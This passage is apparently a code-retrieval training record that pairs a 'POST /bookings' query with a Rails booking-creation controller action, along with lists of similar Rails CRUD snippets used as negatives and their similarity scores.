RoomBooking.all\n end", "def index\n respond_with Biblebook.all\n end", "def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end", "def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end", "def index\n @booking_details = BookingDetail.all\n end", "def index\n @bookings = Booking.where(:customer_id => session['customer_id'])\n end", "def index\n @books = @collection.books\n #original: @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def show\n @book_shelf = BookShelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_shelf }\n end\n end", "def listings(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/listings/latest\", options: params.compact)\n end", "def listings(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/listings/latest\", options: params.compact)\n end", "def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end", "def index\n @online_bookings = OnlineBooking.all\n end", "def show\n render json: @book\n end", "def index\n @bookings = Booking.all\n if params[:search]\n @search_term = params[:search]\n @bookings = @bookings.search_by(@search_term)\n end\n end", "def show\n\n render json: @bookkeeping\n end", "def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end", "def show\n find_book(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def get_bookings\n hotel_id = params[\"id\"]\n number_of_adults1 = params[\"number_of_adults1\"] || \"1\"\n child_ages1 = params[\"child_ages1\"] || \"\"\n @room_info1 = number_of_adults1.to_s + ',' + child_ages1.to_s\n number_of_adults2 = params[\"number_of_adults2\"] || \"1\"\n child_ages2 = params[\"child_ages2\"] || \"\"\n @room_info2 = number_of_adults2.to_s + ',' + child_ages2.to_s\n\n params[\"room_info1\"] = @room_info1\n params[\"room_info2\"] = @room_info2\n\n booking_hotel_response = hotel_service.get_bookings(params)\n service_reponse = process_response(booking_hotel_response, 'HotelRoomAvailabilityResponse')\n if service_reponse[\"status\"] == OK\n response = JSON.parse(service_reponse[\"response\"])\n bookings = response[\"HotelRoomAvailabilityResponse\"]\n @book_info = response[\"HotelRoomAvailabilityResponse\"]\n @hotel_info = {\"hotelId\" => hotel_id}\n @hotel_amenities = response[\"HotelRoomAvailabilityResponse\"][\"PropertyAmenities\"]\n\n if bookings[\"@size\"].to_i == 1 && !@book_info.nil?\n @rooms = []\n room_image = bookings[\"HotelRoomResponse\"][\"RoomImages\"]\n unless room_image.nil?\n if room_image[\"@size\"].to_i == 1\n bookings[\"HotelRoomResponse\"][\"image_urls\"] = []\n bookings[\"HotelRoomResponse\"][\"image_urls\"] << room_image[\"RoomImage\"][\"url\"]\n elsif room_image[\"@size\"] > 1\n bookings[\"HotelRoomResponse\"][\"image_urls\"] = []\n room_image[\"RoomImage\"].each do |url|\n bookings[\"HotelRoomResponse\"][\"image_urls\"] << url\n end\n end\n end\n @rooms << bookings[\"HotelRoomResponse\"]\n elsif bookings[\"@size\"].to_i > 1 && !@book_info.nil?\n bookings[\"HotelRoomResponse\"].each do |room|\n room_image = room[\"RoomImages\"]\n room[\"image_urls\"] = []\n unless room_image.nil?\n if room_image[\"@size\"].to_i == 1\n room[\"image_urls\"] = []\n room[\"image_urls\"] << room_image[\"RoomImage\"][\"url\"]\n elsif room_image[\"@size\"] > 1\n room[\"image_urls\"] = []\n room_image[\"RoomImage\"].each do |url|\n room[\"image_urls\"] << url\n end\n end\n end\n end\n @rooms = bookings[\"HotelRoomResponse\"]\n else\n @rooms = []\n @book_info = nil\n end\n\n ## get Payment Types\n locale = params[\"locale\"] || 'en_US'\n currencyCode = params[\"currencyCode\"] || DEFAUL_CURRENCY\n payment_types_reponse = hotel_service.get_payment_types(locale, currencyCode)\n service_reponse = process_response(payment_types_reponse, 'HotelPaymentResponse')\n\n respond_to do |format|\n format.html # get_bookings.html.erb\n format.xml { render :xml => @bookings }\n end\n else\n ##TODO: handle Errors here\n @error = service_reponse[\"error\"]\n respond_to do |format|\n format.html { render :template => \"shared/error\"}\n format.json { render :json => @error }\n end\n end\n end" ]
[ "0.785726", "0.77609533", "0.773774", "0.773774", "0.773774", "0.7406768", "0.73387", "0.73271865", "0.73101413", "0.7236247", "0.722184", "0.72217333", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7209883", "0.7139588", "0.71102047", "0.707541", "0.69882303", "0.69207907", "0.6882197", "0.6882197", "0.6882197", "0.6882197", "0.6872092", "0.68534654", "0.6806269", "0.6789397", "0.67578197", "0.67264885", "0.6712298", "0.67064506", "0.66963243", "0.6685882", "0.6671924", "0.6670943", "0.6660759", "0.66254383", "0.66251636", "0.6615388", "0.6598558", "0.6590559", "0.6587596", "0.65837634", "0.656102", "0.656102", "0.65535146", "0.65365463", "0.65342855", "0.6515685", "0.65143996", "0.6489682", "0.64703006", "0.64693", "0.64558876", "0.64555967", "0.6417662", "0.64154935", "0.6410287", "0.6394376", "0.6388912", "0.63878155", "0.63819146", "0.63781375", "0.63617444", "0.63490105", "0.63386905", "0.63355684", "0.6331549", "0.6324512", "0.631574", "0.63124156", "0.6311782", "0.63090426", "0.63078713", "0.6289142", "0.62812585", "0.62790763", "0.6278279", "0.627721", "0.627721", "0.6266479", "0.62627745", "0.6257941", "0.62557393", "0.6241298", "0.62378174", "0.6236851", "0.62312263", "0.62135243", "0.6207945" ]
0.0
-1
POST /bookings POST /bookings.json
def create @booking = Booking.new(booking_params.merge(user_id: current_user.id)) respond_to do |format| if @booking.save format.html { redirect_to action: :index, notice: 'Booking was successfully created.' } else format.html { render :new } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n booking = Booking.create(booking_params)\n render json: booking\n end", "def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = @hairdresser.bookings.create(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to hairdresser_booking_path(@hairdresser,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu oprettet.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n set_parent\n set_session\n if @session.bookings.where(user_id: @parent.id) != []\n render_booked\n else\n @booking = Booking.new(booking_params)\n @booking.parent = @parent\n @booking.session = @session\n if @booking.save\n render json: { booking: @booking, status: :success }\n else\n render_error\n end\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def create\n\n @listing = Listing.new(listing_params)\n\n @listing.save\n\n render json: @listing\n redirect_to listings_path # redirect to home page\n end", "def create\n @booking = @instrument.bookings.new(booking_params)\n @booking.user = current_user\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: t('.success') }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end", "def create\n # @user = User.find(params[:user_id])\n # parking = Parking.find(params[:parking_id])\n # @booking = @user.bookings.build(parking: parking, user: @user)\n @booking = @user.bookings.build(parking: @parking)\n @booking.update(booking_params)\n\n\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @current_user = User.find(session[:user_id])\n @booking = Booking.new(\n user_id: @current_user.id,\n department_id: params[:data]['department_id'],\n timeStamp: params[:data]['timeStamp'],\n doctorsBoard: params[:data]['doctorsBoard'],\n description: params[:data]['description']\n )\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.save\n redirect_to action: \"index\"\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.user_id = current_user.id\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n begin\n @response = Booking.create_booking(booking_options)\n @booking.log = @response\n @booking.picap_id = @response[\"_id\"]\n notice = \"Booking was successfully created.\"\n rescue RestClient::Exception => exception\n @booking.log = exception.response\n alert = exception.response\n end\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to root_path, notice: notice, alert: alert }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:number_of_adults, :number_of_children, :price_id, :sale_id, :agent_id, :comment, :progress)\n end", "def create\n @book = Book.new(book_params)\n\n if @book.save\n render json: @book, status: :created, location: @book\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end", "def create\n @booking = @room.bookings.build(params[:booking])\n\n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Booking was successfully created.'\n format.html { redirect_to property_url(@room.property) }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @bookkeeping = @group.bookkeepings.new()\n @bookkeeping.attributes = bookkeeping_params\n @bookkeeping.writer_id = current_user.id\n if @bookkeeping.save\n render json: @bookkeeping, status: :created, location: @bookkeeping\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end", "def create\n @ninety_ten_booking = NinetyTenBooking.new(ninety_ten_booking_params)\n\n respond_to do |format|\n if @ninety_ten_booking.save\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully created.' }\n format.json { render :show, status: :created, location: @ninety_ten_booking }\n else\n format.html { render :new }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # puts params\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if Booking.validate(booking_params) and Booking.time_checking(@booking) and @booking.save\n # if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.'}\n format.json { render :index, status: :created, location: @booking }\n else\n # @listing_id = @booking.listing_id\n format.html { redirect_to bookings_new_path(:listing_id => @booking.listing_id)}\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n flash[:notice] = \"The date is invalid or is booked.\"\n end\n end\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @bookings = Booking.all\n end", "def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end", "def index\n @bookings = Booking.all\n respond_with(@bookings)\n end", "def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end", "def create \n bparams = booking_params\n bparams[:created_by] = User.find_by_name(session[:user])\n bparams[:date] = Date.strptime(session[:date], \"%d.%m.%Y\")\n \n bparams[:accounting_number] = Booking.where(account_id: bparams[:account_id]).map {|b| b.accounting_number}.compact.max.to_i+1\n \n @booking = Booking.new(bparams)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to :back, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking_status = BookingStatus.new(booking_status_params)\n\n respond_to do |format|\n if @booking_status.save\n format.html { redirect_to @booking_status, notice: 'Booking status was successfully created.' }\n format.json { render :show, status: :created, location: @booking_status }\n else\n format.html { render :new }\n format.json { render json: @booking_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @listing = Listing.find_by_id(listing_id_from_params[:listing_id].to_i)\n @booking = @listing.bookings.build(booking_params)\n @booking.user_id = current_user.id\n @booking.price = @booking.calculate_total_price(@listing.price)\n\n respond_to do |format|\n if @booking.save\n BookingJob.perform_later(@booking, \"new\")\n format.html { redirect_to listing_path(@listing), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @bookings = smart_listing_create(:bookings, Booking.includes(:seat, :user).where(user_id: current_user.id), partial: \"bookings/listing\")\n end", "def create\n @booking = current_user.bookings.build(booking_params)\n @booking.user = current_user\n logger = MyLogger.instance\n logger.logInformation(\"A new booking made for: \" + @booking.cut)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tablebooking = Tablebooking.new(tablebooking_params)\n\n respond_to do |format|\n if @tablebooking.save\n format.html { redirect_to @tablebooking, notice: 'Tablebooking was successfully created.' }\n format.json { render :show, status: :created, location: @tablebooking }\n else\n format.html { render :new }\n format.json { render json: @tablebooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:start_day, :end_day, :hikers_nb, :user_id, :refuge_id, :status, :payment, :amount)\n end", "def booking_params\n params.permit(:user_id, :job_id, :acceptance)\n end", "def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end", "def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def booking_params\n params.require(:booking).permit(:salon_id, :total_price, :service_ids)\n end", "def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end", "def create\n\n @user = User.find(params[:user_id])\n @flight = Flight.find(params[:flight_id])\n @booking = @user.bookings.new(booking_params)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to booking_path(current_user,@flight,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking(data)\n payload = safe_access(data)\n\n params = {\n property_id: payload.get(\"inquiry.room.property_id\"),\n inquiry_id: payload.get(\"inquiry.id\"),\n unit_id: payload.get(\"inquiry.room.unit_id\"),\n check_in: payload.get(\"inquiry.check_in\"),\n check_out: payload.get(\"inquiry.check_out\"),\n guests: payload.get(\"inquiry.num_guests\"),\n subtotal: payload.get(\"inquiry.subtotal\"),\n currency_code: payload.get(\"inquiry.currency_code\"),\n customer: {\n first_name: payload.get(\"inquiry.user.first_name\"),\n last_name: payload.get(\"inquiry.user.last_name\"),\n email: payload.get(\"inquiry.user.email\"),\n phone: payload.get(\"inquiry.user.phone_number\")\n }\n }\n\n env[\"rack.input\"] = StringIO.new(json_encode(params))\n true\n end", "def booking_params\n params.require(:booking).permit(:date_check_in, :date_check_out,\n :total_price, :status, :description)\n end", "def index\n @bookings = Booking.all\n end", "def create\n @booking = @salon.bookings.new(booking_params)\n selected_days = params[:select_days]\n selected_time = params[:select_time]\n timeslot = Time.parse(\"#{selected_days} #{selected_time}\")\n @booking.bookings_services.build(service_id: params[:booking][:service_ids][0], timeslot: timeslot)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to [@salon, @booking], notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @book = Book.find(book_request_params[:book_id])\n @account = Account.find(params[:account_id])\n @book_request = BookRequest.new(book: @book, reader: @account, holder: @book.account)\n respond_to do |format|\n if @book_request.save\n format.json {\n render json:\n {\n book_id: @book_request.book_id,\n book_request_state: @book_request.state_name\n }\n }\n else\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking_waitlist = BookingWaitlist.new(booking_waitlist_params)\n\n respond_to do |format|\n if @booking_waitlist.save\n format.html { redirect_to @booking_waitlist, notice: 'Booking waitlist was successfully created.' }\n format.json { render :show, status: :created, location: @booking_waitlist }\n else\n format.html { render :new }\n format.json { render json: @booking_waitlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bookalawn = Bookalawn.new(bookalawn_params)\n\n respond_to do |format|\n if @bookalawn.save\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookalawn }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:cut, :wash, :colour)\n end", "def booking_params\n params.fetch(:booking).permit(:checkin, :checkout, :occupancy)\n end", "def create\n \n @booking = Booking.new(params[:booking])\n params[:booking][:end_time] = @booking.end_time\n \n\n \n @booking = Booking.new(params[:booking])\n if @booking.weights == 1\n @booking.no_ergs = 0\n end\n \n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Your booking was successfully created.'\n format.html { redirect_to bookings_path }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @bidding = Bidding.new(params[:bidding])\n\n respond_to do |format|\n if @bidding.save\n format.html { redirect_to @bidding, notice: 'Bidding was successfully created.' }\n format.json { render json: @bidding, status: :created, location: @bidding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:fan_id, :user_id, :start_date, :end_date, :status)\n end", "def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def booking_params\n params.require(:booking).permit(:bookingStartDate, :bnookigEndDate, :user_id, :book_id)\n end", "def create\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if @booking.save(booking_params)\n format.html { redirect_to week_path, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: month_path }\n else\n format.html { redirect_to week_path, notice: 'Booking overlaps with current booking' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit( :check_in, :checkout, :service_id)\n end", "def create\n @reviewing = Reviewing.new(reviewing_params)\n @book = @reviewing.book\n @user = User.find(current_user.id)\n @user.reviewings << @reviewing\n @book.updateRate(@book.id)\n\n respond_to do |format|\n if @reviewing.save\n format.html { redirect_to book_reviewings_path(@reviewing.book.isbn), notice: 'Reviewing was successfully created.' }\n format.json { render :show, status: :created, location: @reviewing }\n else\n format.html { render :new }\n format.json { render json: @reviewing.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @bookings = @user.bookings\n end", "def booking_params\n params.require(:booking).permit(:room_id, :room_type_id, :customer_id, :check_in_date, :check_out_date, :total_price, :num_of_adults, :num_of_children)\n end", "def booking_params\n params.require(:booking).permit(:user_id, :room_id, :book_date, :timespot_id)\n end", "def create\n @booking = @user.bookings.new(booking_params)\n @booking.movie = @movie\n @booking.tickets = @booking.build_tickets(ticket_types_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to seats_movie_booking_path(@movie,@booking) }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gbooking = Gbooking.new(gbooking_params)\n @gbooking.user = current_user if current_user\n if @gbooking.save\n params[:customizebookings].each_with_index do |customizebooking,index|\n customizebooking.permit!\n @customizebooking = Customizebooking.new(customizebooking.permit!)\n @customizebooking.number = index + 1\n @customizebooking.gbooking = @gbooking\n @customizebooking.save\n end\n\n respond_to do |format|\n format.html { redirect_to(@gbooking, :notice => 'Customizebooking was successfully created.') }\n format.xml { render :xml => @customizebooking, :status => :created, :location => @customizebooking }\n end\n end\n end", "def create\n @shipping_book = ShippingBook.new(shipping_book_params)\n\n respond_to do |format|\n if @shipping_book.save\n format.html { redirect_to @shipping_book, notice: 'Shipping address in Shipping book was successfully created.' }\n format.json { render :show, status: :created, location: @shipping_book }\n else\n format.html { render :new }\n format.json { render json: @shipping_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:book_name, :book_date, :tour_name, :book_price, :book_ticket_num,:book_amount,:package_id,:user_id,:status,:tax,:total_amount,:other)\n end", "def create\n @online_booking = OnlineBooking.new(online_booking_params)\n\n respond_to do |format|\n if @online_booking.save\n format.html { redirect_to @online_booking, notice: 'Online booking was successfully created.' }\n format.json { render :show, status: :created, location: @online_booking }\n else\n format.html { render :new }\n format.json { render json: @online_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end", "def show\n render json: { booking: @booking }, status: 200\n end", "def booking_params\n params.require(:booking).permit(:check_in, :check_out, :total_amount, :rental_amount, :service_fee)\n end", "def create\n @borrowed_book = BorrowedBook.new(borrowed_book_params)\n\n respond_to do |format|\n if @borrowed_book.save\n format.html { redirect_to @borrowed_book, notice: \"Borrowed book was successfully created.\" }\n format.json { render :show, status: :created, location: @borrowed_book }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @borrowed_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend", "def booking_params\n params.require(:booking).permit(:booking_reference, :institution, :ticket_type, :access_req, :catering, :certificate, :attended, :dietary_req, :conference_id, :user_id)\n end", "def booking_params\n params.require(:booking).permit(:reference)\n end", "def create\n\n checkIn = parse_datetime_params booking_params, \"check_in\", utc_or_local = \"AEST\"\n checkOut = parse_datetime_params booking_params, \"checkout\", utc_or_local = \"AEST\"\n @service_id = params[:booking][:service_id].to_i\n @consultant_id = Service.find(@service_id).user_id\n @consumer_id = current_user.id\n\n @booking = Booking.new({\n consultant_id: @consultant_id,\n consumer_id: @consumer_id,\n service_id: @service_id,\n status: \"Unconfirmed\",\n check_in: checkIn,\n checkout: checkOut\n })\n\n respond_to do |format|\n if @booking.save\n # ContactMailer.send_contact_email(message:\"Accepted\").deliver_now\n format.html { redirect_to @booking, notice: 'Booking was successfully created. This booking will not be confirmed until the consultant approves it.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room_booking = RoomBooking.new(room_booking_params)\n\n respond_to do |format|\n if @room_booking.save\n format.html { redirect_to @room_booking, notice: 'Room booking was successfully created.' }\n format.json { render :show, status: :created, location: @room_booking }\n else\n format.html { render :new }\n format.json { render json: @room_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_lawn\n book_lawn = Lawnbookings.where(booking_date: params[:booking_date], lawn_no: params[:lawn_no])\n \n if book_lawn.count == 0\n @book_lawn = Lawnbookings.new\n @book_lawn.lawn_no = params[:lawn_no]\n @book_lawn.booking_date = params[:booking_date]\n @book_lawn.save\n end\n if request.xhr?\n render :json => {booking_date: params[:booking_date], lawn_no: params[:lawn_no] } \n end\n end", "def booking_params\n params.require(:booking).permit(:seller_id, :buyer_id, :room_id, :first_name, :last_name,\n :email, :phone, :duration, :guest, :subtotal, \n :service_fee, :total, :room_name, :room_title, :status, :paid,\n :check_in, :check_out, :start_date, :booking_code, :payment_method)\n end", "def create\n @booking = Booking.new\n @booking.ride = @ride\n @booking.user = current_user\n @booking.booking_status = 'pending'\n if @booking.save!\n redirect_to dashboard_path\n else\n render :new\n end\n end", "def create\n @booking_confirmation = BookingConfirmation.new(booking_confirmation_params)\n\n respond_to do |format|\n if @booking_confirmation.save\n format.html { redirect_to @booking_confirmation, notice: 'Booking confirmation was successfully created.' }\n format.json { render :show, status: :created, location: @booking_confirmation }\n else\n format.html { render :new }\n format.json { render json: @booking_confirmation.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:status, :seatsToBook, :username, :tourname, :user_id, :tour_id, :mode_of_booking)\n end", "def create\n\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to \"/books\", notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:status, :destination_id,:price, :number_guests, :start_date, :end_date, :accommodation_id)\n end" ]
